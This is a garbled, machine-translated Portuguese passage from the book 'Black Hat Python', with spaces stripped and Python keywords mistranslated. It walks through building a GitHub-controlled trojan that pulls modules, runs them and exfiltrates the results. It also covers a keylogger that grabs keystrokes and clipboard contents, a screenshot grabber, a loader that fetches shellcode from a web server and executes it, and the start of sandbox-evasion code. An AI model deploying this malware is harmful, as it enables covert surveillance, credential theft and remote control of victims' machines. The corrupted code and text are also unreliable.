diretrioeretornosquelistacomoumstring.Cadamduloquevocdesenvolvedeveexporumprazofuno
quelevaumnmerovariveldeargumentos.Issopermitequevoccarreguecadamdulodamesmamaneirae
deixaextensibilidadesuficienteparaquevocpodepersonalizarosarquivosdeconfiguraoparapassarargumentosparaa
mdulosevocdesejar.
Agoravamoscriarumoutromdulochamadoenvironment.py.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 63/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
importos

defexecute(**args):
print"[*]Nomdulomeioambiente."
strretorno(os.environ)

Estemdulosimplesmenterecuperaasvariveis deambientequesodefinidasnamquinaremotaemque

otrojanestemexecuo.AgoravamosempurraressecdigoparaonossorepoGitHubparaquesejautilizvelpelonossotrojan.
Apartirdalinhadecomando,digiteoseguintecdigoapartirdoseudiretriodorepositrioprincipal:
$Gitadd.
$Gitcommitm"Adicionandonovosmdulos"
$Gitempurrarorigemmestre
Nomedeusurio:********
Senha:********

entovocdeveveroseucdigoserempurradoparaoseurepoGitHubsintaselivreparafazerloginnasuaconta
everifique!Istoexatamentecomovocpodecontinuaradesenvolverocdigonofuturo.Voudeixaro
integraodemdulosmaiscomplexosparavoccomoumaliodecasa.Sevoctiverumacentena
trojansimplantados,vocpodeempurrarnovosmdulosparaoseurepoGitHubeQAlos,permitindoqueoseunovo
mduloemumarquivodeconfiguraoparaasuaversolocaldotrojan.Dessaforma,vocpodetestaremumamquinavirtualou
hospedarhardwarequevoccontrolarantesdepermitirqueumdeseustrojansremotosparapegarocdigoeuso
isto.

ConfiguraodeTria
Queremossercapazesdetarefanossatrojancomarealizaodedeterminadasaesduranteumperododetempo.este
significaqueprecisamosdeumamaneiradedizerqueoqueaesaseremexecutadasequaismdulossoresponsveis por

realizaressasaes.Usandoumarquivodeconfiguraonosdessenveldecontrole,etambmpermite
nosparacolocarefetivamenteumtrojanparadormir(pornodarlhetodasastarefas)devemosescolher.Cadatrojanque
vocimplantadeveterumidentificadornico,tantodemodoquevocpodeclassificarosdadosrecuperadoseparaque
vocpodecontrolarquaistrojanexecutadeterminadastarefas.Vamosconfigurarotrojanseolharnoconfigurao
diretrioparaTROJANID.json,queretornarumdocumentoJSONsimplesquepodeanalisar,
converterparaumdicionrioPython,edepoisusar.OformatoJSONtornamaisfcilparaalteraraconfigurao
opestambm.Semoveemsuaconfiguraodediretrioecriarumarquivochamadoabc.jsoncomoseguinte
contedo:
[
{
"Mdulo":"dirlister"
},
{
"Mdulo":"meioambiente"
}
]

Estaapenasumasimpleslistademdulosquequeremosqueotrojanremotoparaexecutar.Maistardevocvaivercomons
leianestedocumentoJSONe,emseguida,iterarsobrecadaopoparaobterosmduloscarregados.Comovoc
Brainstormmdulodeideias,vocpodeacharquetilparaincluiropesdeconfiguraoadicionaistais
comoduraodaexecuo,nmerodevezesparaexecutaromduloescolhido,ouargumentosaserempassados parao

mdulo.Cairemumalinhadecomandoeexecuteoseguintecomandoapartirdeseudiretriorepoprincipal.
$Gitadd.
$Gitcommitm"Adicionandosimplesdeconfigurao."
$Gitempurrarorigemmestre
Nomedeusurio:********
Senha:********

Estedocumentodeconfiguraobastantesimples.Vocforneceumalistadedicionriosquecontamatrojanque
mdulosdeimportaoedeexecuo.Comovocconstruirasuaestrutura,vocpodeadicionarfuncionalidadeadicional
essasopesdeconfigurao,incluindoosmtodosdeexfiltrao,comoeumostrarlhenoCaptulo9.Agoraque
voctemseusarquivosdeconfiguraoealgunsmdulossimplesdeexecutar,vocvaicomearaconstruirapgina
peatrojan.

ConstruindoumGithubAwareTrojan
Agoravamoscriaroprincipaltrojanquevaisugarparabaixoopesdeconfiguraoeaexecuodecdigo
doGitHub.Oprimeiropassoodeconstruirocdigonecessrioparalidarcomligando,autenticao,e

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 64/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
comunicarAPIGitHub.Vamoscomearporabrirumnovoarquivochamadogit_trojan.pyeinserindo
oseguintecdigo:
jsonimportao
base64importao
sysimportao
tempodeimportao
impimportao
importaoaleatria
rosqueamentodeimportao
Filadeimportao
importos

desdeologinimportaogithub3

trojan_id="abc"

trojan_config="%s.json"%trojan_id
data_path ="Dados/%s/"%trojan_id
trojan_modules=[]
configurado =False
task_queue =Queue.Queue()

Esteapenasumcdigodeconfiguraosimplescomasimportaesnecessrias,oquedevemanteranossatrojangeral
tamanhorelativamentepequenoquandocompilado.EudigorelativamenteporquebinriosPythonmaiscompiladasusando
py2exe[15]estoemtornode7MB.Anicacoisaanotarotrojan_idvarivelqueexclusivamente
identificaestetrojan.Sevocfosseparaexplodirestatcnicaparaumbotnetcompleto,vociriaquerero
capacidadedegerartrojans,definiuseuID,criarautomaticamenteumarquivodeconfiguraoqueempurradopara
GitHub,edepoiscompilarotrojanemumarquivoexecutvel.Novamosconstruirumabotnethoje,emboraEuvoupermitir
suaimaginaofazerotrabalho.
AgoravamoscolocarocdigoGitHubrelevanteemvigor.
connect_to_githubdef():
gh=login(username="yourusername",password="yourpassword")
repo =gh.repository("yourusername","chapter7")
branch=repo.branch("master")

retornogh,repo,ramo

get_file_contentsdef(FilePath):

gh,repo,ramo=connect_to_github()
tree=branch.commit.commit.tree.recurse()

parafilenameemtree.tree:

sefilepathemfilename.path:
print"[*]arquivoencontrado%s"%filepath
blob=repo.blob(filename._json_data['sha'])
blob.contentretorno

Nenhumvoltar

get_trojan_configdef():
configuradomundial
config_json =get_file_contents(trojan_config)
configurao =Json.loads(base64.b64decode(config_json))
configurado =True

paraatarefadeconfigurao:

seatarefa['module']noemsys.modules:

exec("importao%s"%tarefa['module'])

configuraoderetorno

store_module_resultdef(dedados):
gh,repo,ramo=connect_to_github()
remote_path="dados/%S/%d.data"%(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Entregademensagem",base64.b64encode(data))

Retorna

EssasquatrofunesrepresentamainteraofundamentalentreotrojaneGitHub.o
connect_to_githubfunosimplesmenteautenticaousurioparaorepositrio,erecuperaoatual
compromissadasefilialobjetosparausoporoutrasfunes.Mantenhaemmentequeemummundorealcenrio,voc
querofuscaresseprocedimentodeautenticaodamelhorformaquepuder.Voctambmpodequererpensarsobre
oquecadaumtrojanpodeacessaremseurepositriocombaseemcontrolesdeacessodemodoque,seotrojan
capturados,algumnopodevireexcluirtodososdadosrecuperados.osget_file_contents
funoresponsvelporpegarosarquivosdoreporemotoe,emseguida,lerocontedoem
localmente.Estausadatantoparaaleituradeopesdeconfigurao,bemcomoleituradecdigofontedomdulo.
Oget_trojan_configfunoresponsvelporrecuperarodocumentodeconfiguraoremota
apartirdorepoparaqueotrojansabequaismdulosparaserexecutado.Eafunofinal
store_module_resultusadoparaempurrarqualquerdadosquevocjrecolhidossobreodestinomquina.Agora
vamoscriarumcortedeimportaoparaimportararquivosremotosdonossorepoGitHub.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 65/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

HackingfuncionalidadedeimportaodoPython
Sevocchegouataquinolivro,vocsabequensusamosdePythonimportaofuncionalidadeparapuxar
bibliotecasexternasparaquepossamosusarocdigocontidodentro.Queremossercapazesdefazeromesmo
coisaparaonossotrojan,mas,almdisso,tambmqueremostercertezadeque,sepuxarumadependncia(tal
comoscapyounetaddr),onossotrojanfazessemdulodisponvelparatodososmdulossubseqentesquepuxam
no.Pythonnospermiteinserirnossaprpriafuncionalidadeemcomoeleimportamdulos,demodoqueseummdulo
nopodeserencontradalocalmente,anossaclassedeimportaoserchamado,oquenospermitirrecuperarremotamenteo
bibliotecadonossorepo.Istoconseguidoatravsdaadiodeumaclassepersonalizadaparaosys.meta_pathlista.[16]Vamos
criarumaclassedecargapersonalizadoagora,adicionandooseguintecdigo:
classeGitImporter(objeto):
def__init__(self):
self.current_module_code=""

find_moduledef(self,nomecompleto,ocaminho=None):
seconfigurado:
print"[*]Atentativaderecuperar%s"%fullname
new_library=get_file_contents("mdulos/%s"%fullname)

senew_librarynoNone:


self.current_module_code=base64.b64decode(new_library)
retornarauto

Nenhumvoltar

load_moduledef(self,nome):

module=imp.new_module(nome)
self.current_module_codeexecnomdulo.__dict__
sys.modules[nome]=mdulo

mduloderetorno

Cadavezqueointrpretetentacarregarummduloquenoestdisponvel,aGitImporterclasse
usava.Ofind_modulefunochamadaemprimeirolugar,numatentativadelocalizaromdulo.Nspassarestachamadapara
nossocarregadordearquivoremotoeseconseguirmoslocalizaroarquivoemnossorepo,nsBase64decodificarocdigoe
armazenloemnossaclasse.Aoretornarauto,indicamosparaointerpretadorPythonqueencontramoso
mduloequepode,emseguida,ligueparaonossoload_modulefunopararealmentecarreglo.Nsusamosonativoimp
mduloparacriarprimeiroumnovoobjetomduloembrancoe,emseguida,nstrabalhacompocdigoquerecuperadode
GitHubparaele.Oltimopassoinserirnossomdulorecmcriadoparaosys.moduleslistaassim
queelepegoporqualquerfuturaimportaochamadas.Agoravamosdarosltimosretoquesnatrojane
Leveoparadarumavolta.
module_runnerdef(mdulo):

task_queue.put(1)
Resultado=sys.modules[mdulo].run()
task_queue.get()

#Armazenaroresultadononossorepo


store_module_result(resultado)

Retorna

#Loopprincipaltrojan
sys.meta_path=[GitImporter()]

whileTrue:

Setask_queue.empty():

configurao =Get_trojan_config()

paraatarefadeconfigurao:
t=threading.Thread(target=module_runner,args=(tarefa['module'],))
t.start()
time.sleep(random.randint(1,10))

time.sleep(random.randint(1000,10000))

Emprimeirolugar,certifiquesedeadicionaronossomdulopersonalizadoimportadorantesdecomearoloopprincipaldanossa
aplicao.Oprimeiropassopegaroarquivodeconfiguraodorepoedepoislanaro
mduloemseuprpriosegmento.Enquantoestamosnomodule_runnerfuno,bastaligarparao
domdulorunfunoparalanarseucdigo.Quandoelefeitoemexecuo,devemosteroresultadoemum
stringquensentoempurrarparaonossorepo.Ofimdanossatrojan,ento,dormirporumperodoaleatriode
vezemumatentativadedespistarqualqueranlisedopadroderede.Vocpoderia,claro,criarummontedetrfegopara
Google.comouqualquernmerodeoutrascoisas,natentativadedisfararoseutrojanat.Agora
vamoslevloparaumarotao!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 66/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Tudocerto!Vamosdaressacoisaparadarumavolta,executandooapartirdalinhadecomando.

AVISO
Sevoctiverinformaesconfidenciaisemarquivosouvariveis
deambiente,lembreseque,semumrepositrioprivado,que

informaoestindoparairatGitHubparaomundointeirover.Nodigaqueeunoaviseie,claro,vocpodeusar
algumastcnicasdecriptografiadeCaptulo9.

$Pythongit_trojan.py
[*]Abc.jsonarquivoencontrado
[*]Atentativaderecuperardirlister
[*]Mdulosdearquivoencontrado/dirlister
[*]Atentativaderecuperarambiente
[*]Mdulosdearquivoencontrado/ambiente
[*]Nomdulodirlister
[*]Nomduloambiente.

Perfeito.ligadoaomeurepositrio,recuperadasdoarquivodeconfigurao,puxouosdoismdulosque
definidonoarquivodeconfigurao,ecorreulos.
Agora,sevoccairdevoltanasualinhadecomandodoseudiretriotrojan,digite:
$Gitpuxarorigemmestre
Dehttps://github.com/blackhatpythonbook/chapter7
*ramo dominar >FETCH_HEAD
atualizaof4d9c1d..5225fdf
Avanorpido
dados/abc/29008.data|1+
dados/abc/44763.data|1+
2ficheirosalterados,2inseres(+),0delees()
mododecriar100644dados/abc/29008.data
mododecriar100644dados/abc/44763.data

Impressionante!Nossatrojanverificadanosresultadosdosnossosdoismdulosemexecuo.
Humasriedemelhoriaseaperfeioamentosquevocpodefazeraestencleodecomandoe
tcnicadecontrole.Criptografiadetodososseusmdulos,configuraoeexfiltrateddedadosseriaumaboa
comear.Automatizarogerenciamentodebackenddosdadossuspensos,atualizandoarquivosdeconfigurao,erolando
Novostrojanstambmserianecessriasevocestavaindoparainfectaremumaescalamacia.medidaqueadiciona
maisemaisfuncionalidades,voctambmprecisaestendercomocargasPythondinmicoecompilado
bibliotecas.Poragora,vamostrabalharnacriaodealgumastarefasdetriaindependentes,eeuvoudeixarparavoc
integrlosemseunovotrojanGitHub.

[14] Orepo,ondeestabibliotecaesthospedadoestaqui:https://github.com/copitux/pythongithub3/.

[15] Vocpodeconferirpy2exeaqui:http://www.py2exe.org/.

[16] UmaexplicaoincrveldesteprocessoescritoporKarolKuczmarskipodeserencontradaaqui:http://xion.org.pl/2012/05/06/hacking
pythonImportao/.

Captulo8.TarefasTrojaningComumpara
janelas
Quandovocimplantaumtrojan,quedesejaexecutaralgumastarefascomuns:asteclasdigitadasagarrar,tomar
screenshots,eexecutarshellcodeparafornecerumasessointerativaparaferramentascomoCANVASou
Metasploit.Estecaptuloseconcentrasobreestastarefas.Nsvamosembrulharascoisascomumpoucodedetecosandbox
tcnicasparadeterminarseestamosexecutandodentrodeumantivrusouforensesandbox.estesmdulos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 67/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
vaiserfcildemodificareirtrabalhardentrodonossoquadrotrojan.Nosprximoscaptulos,vamosexplorar
maninthebrowserstyleataquesetcnicasdeelevaodeprivilgiosquevocpodeimplantarcomoseu
trojan.Cadatcnicavemcomseusprpriosdesafioseprobabilidadedeserapanhadopelousuriofinal
ouumasoluoantivrus.Eurecomendoquevocmodelarcuidadosamenteoseudestinodepoisdeterimplantadooseu
trojandemodoquevocpodetestarosmdulosemseulaboratrioantesdetentarlosemumalvovivo.Vamoscomear
criandoumkeyloggersimples.

KeyloggingparadiversoeTeclas
Keyloggingumdosmaisantigostruquesnolivroeaindaempregadocomvriosnveisdediscrio
hoje.Osatacantesaindausloporqueextremamenteeficazemcapturarinformaesconfidenciais,como
credenciaisouconversas.
UmabibliotecaPythonexcelentechamadoPyHook[17]nospermiteinterceptarfacilmentetodososeventosdeteclado.Leva
vantagemdafunoWindowsnativoSetWindowsHookEx,quepermitequevocinstaleumuser
funodefinidaparaserchamadoparadeterminadoseventosdoWindows.Aoregistrarumganchoparaeventosdeteclado,
somoscapazesdeinterceptartodasasteclaspressionadasqueumquestesalvo.Almdetudoisso,queremossaberexatamente
oprocessoqueelesestoexecutandoestasteclascontra,paraquepossamosdeterminarquandonomesdeusurio,
senhasououtrospetiscosdeinformaesteissoinseridos.PyHookcuidadetodaabaixa
programaodenvelparans,oquedeixaalgicadoncleodokeystrokeloggeratns.Vamosrachadura
abrirkeylogger.pyesoltaremalgumasdascanalizaes:
dectypesimportao*
pythoncomimportao
importaopyHook
win32clipboardimportao

user32 =windll.user32
kernel32=windll.kernel32
PSAPI =windll.psapi
current_window=None

get_current_processdef():

#Obterumidentificadorparaajanelaemprimeiroplano
hwnd=user32.GetForegroundWindow()

#EncontraroIDdoprocesso
pid=c_ulong(0)


user32.GetWindowThreadProcessId(hwnd,byref(PID))

#ArmazenaroIDdoprocessoatual
process_id="%d"%pid.value

#Pegaroexecutvel
executvel=create_string_buffer("\x00"*512)
h_process=kernel32.OpenProcess(0x400|0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executvel),512)

#Agoraleroseuttulo
WINDOW_TITLE=create_string_buffer("\x00"*512)
length=user32.GetWindowTextA(hwnd,byref(WINDOW_TITLE),512)

#Imprimirocabealhoseestamosnoprocessocerto
impresso
print"[PID:%s%s%s]"%(process_id,executable.value,JANELA.
title.value)
impresso

#alasestreitas
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 68/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Tudocerto!Ento,nsapenascolocaremalgumasvariveisauxiliareseumafunoqueircapturarajanelaativa

esuaassociadaIDprocesso.NsprimeirochamarGetForegroundWindow,queretornaumidentificadorparao
janelaativanareadetrabalhodoalvo.EmseguidapassamosesseidentificadorparaaGetWindowThreadProcessId

funopararecuperarajanelaprocessoID.Ns,emseguida,abriroprocessodee,usandooqueresulta
identificadordeprocesso,encontramosonomeexecutvelrealdoprocesso.Opassofinalparaagarraraplena
textodabarradettulodajanelausandoaGetWindowTextAfuno.Nofinaldonossohelper
funoqueasadadetodasasinformaesemumbomcabeceamentodemodoquevocpodeverclaramenteque
teclasdigitadasentroucomoqualprocessoejanela.Agoravamoscolocaracarnedanossakeystrokeloggerem
lugarparaterminlofora.
defKeyStroke(evento):

current_windowmundial

#Verificarparaverseoalvomudoujanelas
seevent.WindowName=current_window!
current_window=event.WindowName
get_current_process()

#Sepressionadoumachavepadro


Seevent.Ascii>32eevent.Ascii<127:
chrimpresso(event.Ascii),
outro:
#Se[CtrlV],obterovalornareadetransferncia
seevent.Key=="V":

win32clipboard.OpenClipboard()
pasted_valuewin32clipboard.GetClipboardData=()
win32clipboard.CloseClipboard()

print"[PASTE]%s"%(pasted_value),

outro:

print"[%s]"%event.Key,

execuo#passeparaaprximaganchoregistrado
retornarTrue
#Criareregistrarumgerenciadordegancho
kl =PyHook.HookManager()
kl.KeyDown=KeyStroke

#Registraroganchoeexecutarparasempre
kl.HookKeyboard()
pythoncom.PumpMessages()

Issotudoquevocprecisa!NsdefinimosanossaPyHookHookManagere,emseguida,vincularoKeyDowneventoaonosso
definidapelousuriochamadadefunoKeyStroke.Emseguida,instruirPyHookparaligartodasasteclaspressionadase
continuaraexecuo.Semprequeoalvopressionaumachavenoteclado,onossoKeyStrokefuno
chamadocomumobjetodeeventocomoseunicoparmetro.Aprimeiracoisaquefazemosverificarseousuriotem
janelasalteradoseseassimfor,podemosadquirirnomeeprocessodeinformaodanovajanela.Nsento
olharparaacombinaodeteclasquefoiemitidoeseelecaidentrodointervaloASCIIimprimvel,simplesmente
Imprimaisso.Seummodificador(comoateclaSHIFT,CTRLouALTchaves)ouqualqueroutrateclaquenosejapadro,ns
agarraronomedachavedoobjetodeevento.Nstambmverificarseousurioestexecutandoumaoperaodecolar,
eseassimquedespejarocontedodareadetransferncia.Afunoderetornoterminaretornandoverdadeiropara
permitirqueoganchoseguintenacadeiasehumaparaprocessaroevento.Vamoslevloparaumarotao!

Chutarospneus
fcildetestaronossokeylogger.Bastaexecutloe,emseguida,comearausaroWindowsnormalmente.Tenteusaroseu
navegadorweb,calculadora,ouqualqueroutraaplicao,everosresultadosnoseuterminal.Asada
abaixoestindoolharumpoucofora,queapenasdevidoformataonolivro.
C:\>pythonkeyloggerhook.py

[PID:3836cmd.exeC:\WINDOWS\system32\cmd.exe
c:\python27\python.exeloggerhook.pykey]

teste

[PID:120IEXPLORE.EXEBingMicrosoftInternetExplorer]

www.nostarch.com[Return]

[PID:3836cmd.exeC:\WINDOWS\system32\cmd.exe
c:\python27\python.exekeyloggerhook.py]

[Lwin]r

[PID:1944Explorer.EXERun]
calc[Return]

[PID:2848calc.exeCalculator]

[lshift]+1=

Vocpodeverqueeudigiteiapalavratestenajanelaprincipal,ondeoscriptkeyloggercorreu.Euento
despediuseInternetExplorer,navegouparawww.nostarch.com,ecorreualgumasoutrasaplicaes.Nspodemos
agoradizercomseguranaqueonossokeyloggerpodeseradicionadoemnossosacodetrojaningtruques!Vamospassaratomar
screenshots.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 69/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

tomandoScreenshots
Amaioriadaspeasdeestruturasdemalwareetestesdepenetraoincluemacapacidadedetirarscreenshots
contraoalvoremoto.Issopodeajudaracapturarimagens,quadrosdevdeoououtrosdadossensveisquevoc
nopodevercomumacapturaoukeyloggerpacote.Felizmente,podemosusaropacotePyWin32(veja
InstalandoosPrrequisitos)parafazernativaschamadasparaodoWindowsAPIparaagarrarlos.
UmgrabberimagemusarodispositivodeinterfacegrficadoWindows(GDI)paradeterminarnecessrio
propriedades,taiscomootamanhototaldatela,eparaagarraraimagem.Algunssoftwaresdecapturadetelaserapenas
agarrarumaimagemdajanelaativanomomentoouaplicao,masnonossocaso,queremosquetodaa
tela.Vamoscomear.Crackabrirscreenshotter.pyesoltarnocdigoaseguir:
win32guiimportao
win32uiimportao
win32conimportao
win32apiimportao

#Pegarumidentificadorparaajanelaprincipaldodesktop
hdesktop=win32gui.GetDesktopWindow()

#Determinarotamanhodetodosospixelsemmonitores
largura=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
esquerda=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

#Criarumcontextodedispositivo
desktop_dc=win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)

#Criarumcontextodedispositivodememriacombase
mem_dc=img_dc.CreateCompatibleDC()

#Criarumobjetodebitmap
imagem=win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,largura,altura)
mem_dc.SelectObject(imagem)

#Copiaratelaemnossocontextodispositivodememria
mem_dc.BitBlt((0,0),(largura,altura),img_dc,(esquerda,emcima),win32con.SRCCOPY)

#salvarobitmapparaumarquivo
screenshot.SaveBitmapFile(mem_dc,'c:\\windows\\Temp\\screenshot.bmp')

#Libertarnossosobjetos
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

Vamosreveroqueestepequenoscriptfaz.Emprimeirolugar,adquirirumidentificadorparaodesktopinteiro,que
incluitodaareavisvelemvriosmonitores.Emseguida,determinarotamanhodo
tela(s)paraquepossamossaberasdimensesnecessriasparaacapturadetela.Nscriamosumdispositivo
contexto[18]usandooGetWindowDCchamadadefunoepassarumidentificadorparaonossoambientedetrabalho.Emseguida,precisamos
paracriarumcontextodedispositivobaseadoemmemriaondevamosguardaranossacapturadeimagematquearmazenaro
bitmapbytesemumarquivo.Emseguida,criamosumobjetodebitmapqueestdefinidoparaocontextodedispositivodenosso
readeTrabalho.OSeleccionarObjectochamadaemseguida,defineocontextodedispositivobaseadoemmemriaparaapontarparaobitmap
objetoqueestamosacaptura.UsamosoBitBltfunoparatirarumacpiabitporbitdareadetrabalho
imagemearmazenlonocontextobaseadoemmemria.PensenissocomoummemcpychamadaparaobjetosGDI.o
passofinalparadespejarestaimagemparaodisco.Estescriptfcildetestar:bastaexecutloapartirdocomando
lineeverificaroC:\WINDOWS\Tempdiretrioparaoseuscreenshot.bmparquivo.Vamospassarpara

execuoshellcode.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 70/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ExecuoPythonicShellcode
Podechegarummomentoemquevocquersercapazdeinteragircomumadassuasmquinasdedestino,ououso
umnovosuculentoexplorarmdulodeseutestedepenetraofavoritoouexplorarquadro.este
normalmenteemboranemsemprerequeralgumaformadeexecuoshellcode.Paraexecutarcrua
shellcode,nssimplesmenteprecisamoscriarumbuffernamemria,eusandoactypesmdulo,criarum
funcionarponteiroparaamemriaechamarafuno.Nonossocaso,vamosusarurllib2paraagarrar
oshellcodedeumservidorwebemformatobase64e,emseguida,executlo.Vamoscomear!Abrir
shell_exec.pyedigiteoseguintecdigo:
urllib2deimportao
ctypesimportao
base64importao
#Recuperaroshellcodedonossoservidorweb
url="http://localhost:8000/shellcode.bin"
resposta=urllib2.urlopen(url)

#Decodificaroshellcodedebase64
shellcode=base64.b64decode(response.read())

#Criarumbuffernamemria
shellcode_buffer=ctypes.create_string_buffer(shellcode,len(shellcode))

#Criarumponteirodefunoparaonossoshellcode
shellcode_func=ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE
(Ctypes.c_void_p))

#Chamaronossoshellcode
shellcode_func()

Comoimpressionanteisso?Nschutlafora,recuperandoonossoshellcodecodificadoembase64donossoweb
servidor.Emseguida,alocarumbufferparaseguraroshellcodedepoisquensdescodificadolo.Osctypeselenco
funopermitenosparalanarobufferdeagircomoumponteirodefunoparaquepossamoschamaronossoshellcode
comopoderamoschamarqualquerfunonormaldoPython.Nsterminlochamandoonossoponteirodefuno,que
emseguida,fazcomqueoshellcodeparaexecutar.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 71/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Chutarospneus
VocpodehandcodealgunsshellcodeouusaroseuquadropentestingfavoritocomoCANVASou
Metasploit[19]paragerlaparavoc.EuescolhialgunscallbackshellcodeWindowsx86paraCANVASem
omeucaso.Armazenaroshellcodecru(noamemriaintermdiadecadeia!)Em/tmp/shellcode.rawemsuamquinaLinux
eexecuteoseguinte:
justin$base64ishellcode.raw>shellcode.bin
justin$pythonmSimpleHTTPServer
ServindoHTTPno0.0.0.0porta8000...

NssimplesmentecodificadoemBase64oshellcodeusandoalinhadecomandopadrodoLinux.Oprximotruquepouco
usaoSimpleHTTPServermduloparatrataroseudiretriodetrabalhoatual(nonossocaso,/tmp/)comoseu
raizdaweb.Quaisquerpedidosdearquivosserservidoautomaticamenteparavoc.Agorasoltaroseushell_exec.py
scriptemsuamquinavirtualdoWindowseexecutlo.VocdeveveroseguintenoseuterminalLinux:
192.168.112.130[12/Jan/201421:36:30]"GET/shellcode.binHTTP/1.1"200

Issoindicaqueoscripttiverrecuperadooshellcodedoservidorwebsimplesquevocconfigure
usandooSimpleHTTPServermdulo.Setudocorrerbem,vocreceberumshelldevoltaparaoseuquadro,
esurgiramcalc.exe,ouexibidaumacaixademensagemouoqueseushellcodefoicompilado.

DetecoSandbox
Cadavezmais,soluesantivrusutilizamalgumaformadesandboxingparadeterminarocomportamentode
amostrassuspeitas.Seestacaixadeareiaexecutadonopermetrodarede,queestsetornandomais
popular,ounamquinadedestinoemsi,temosdefazeronossomelhorparaevitartombamentonossamoaqualquerdefesa
nolugarnarededoalvo.Podemosusaralgunsindicadoresparatentardeterminarseonossotrojan
executadodentrodeumacaixadeareia.Vamosacompanharanossamquinadedestinoparaentradadousuriorecente,incluindo
teclasecliquesdomouse.
Ento,vamosadicionarumpoucodeintelignciabsicaparaprocurarteclas,cliquesdomouseeclicaduasvezes.Nosso
scripttambmirtentardeterminarseooperadorsandboxoenviodeentradarepetidamente(ouseja,umasuspeita
rpidasucessodecliquesdomousecontnuas),afimdetentarresponderasandboxrudimentar
mtodosdedeteco.Vamoscompararaltimavezqueumusuriointeragecomamquinacontraotempo
amquinaestemfuncionamento,oquedevedarnosumaboaideiaseestamosdentrodeumacaixadeareiaou
no.Umamquinatpicatemmuitasinteraesemalgummomentoduranteumdia,umavezquetenhasidoiniciado,
Considerandoqueumambientesandboxgeralmentetemnenhumainteraodousurioporquecaixasdeareiasonormalmenteutilizados
comoumatcnicadeanlisedemalwareautomatizado.
Podemos,ento,fazerumadeterminaosobresensgostaramosdecontinuaraexecuoouno.Vamos
comearatrabalharemalgumcdigodedetecodecaixadeareia.Abrirsandbox_detect.pyelancedaseguinte
cdigo:
ctypesimportao
importaoaleatria
tempodeimportao
sysimportao

user32 =ctypes.windll.user32
kernel32=ctypes.windll.kernel32

keystrokes =0
mouse_clicks =0
double_clicks =0

Estassoasprincipaisvariveis
paraondeestamosindopararastrearonmerototaldecliquesdomouse,dumduplo

cliqueseteclas.Maistarde,vamosolharparaocalendriodoseventosdoratotambm.Agoravamoscriar
etestaralgumcdigoparadetectarquantotempoosistemafoiexecutadoequantotempodesdealtima
entradadousurio.Adicioneaseguintefunoaoseusandbox_detect.pyscript:
classeLASTINPUTINFO(ctypes.Structure):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 72/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
_fields_=[("cbSize",ctypes.c_uint),
("DwTime",ctypes.c_ulong)
]

get_last_inputdef():

struct_lastinputinfoLASTINPUTINFO=()
struct_lastinputinfo.cbSize=ctypes.sizeof(LASTINPUTINFO)

#Obterltimaentradaregistrada

#Agoradeterminarquantotempoamquinaestemfuncionamento
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

RUN_TIMEkernel32.GetTickCount=()

decorrido=RUN_TIMEstruct_lastinputinfo.dwTime

print"[*]Temsido%milissegundosddesdeoltimoeventodeentrada."%
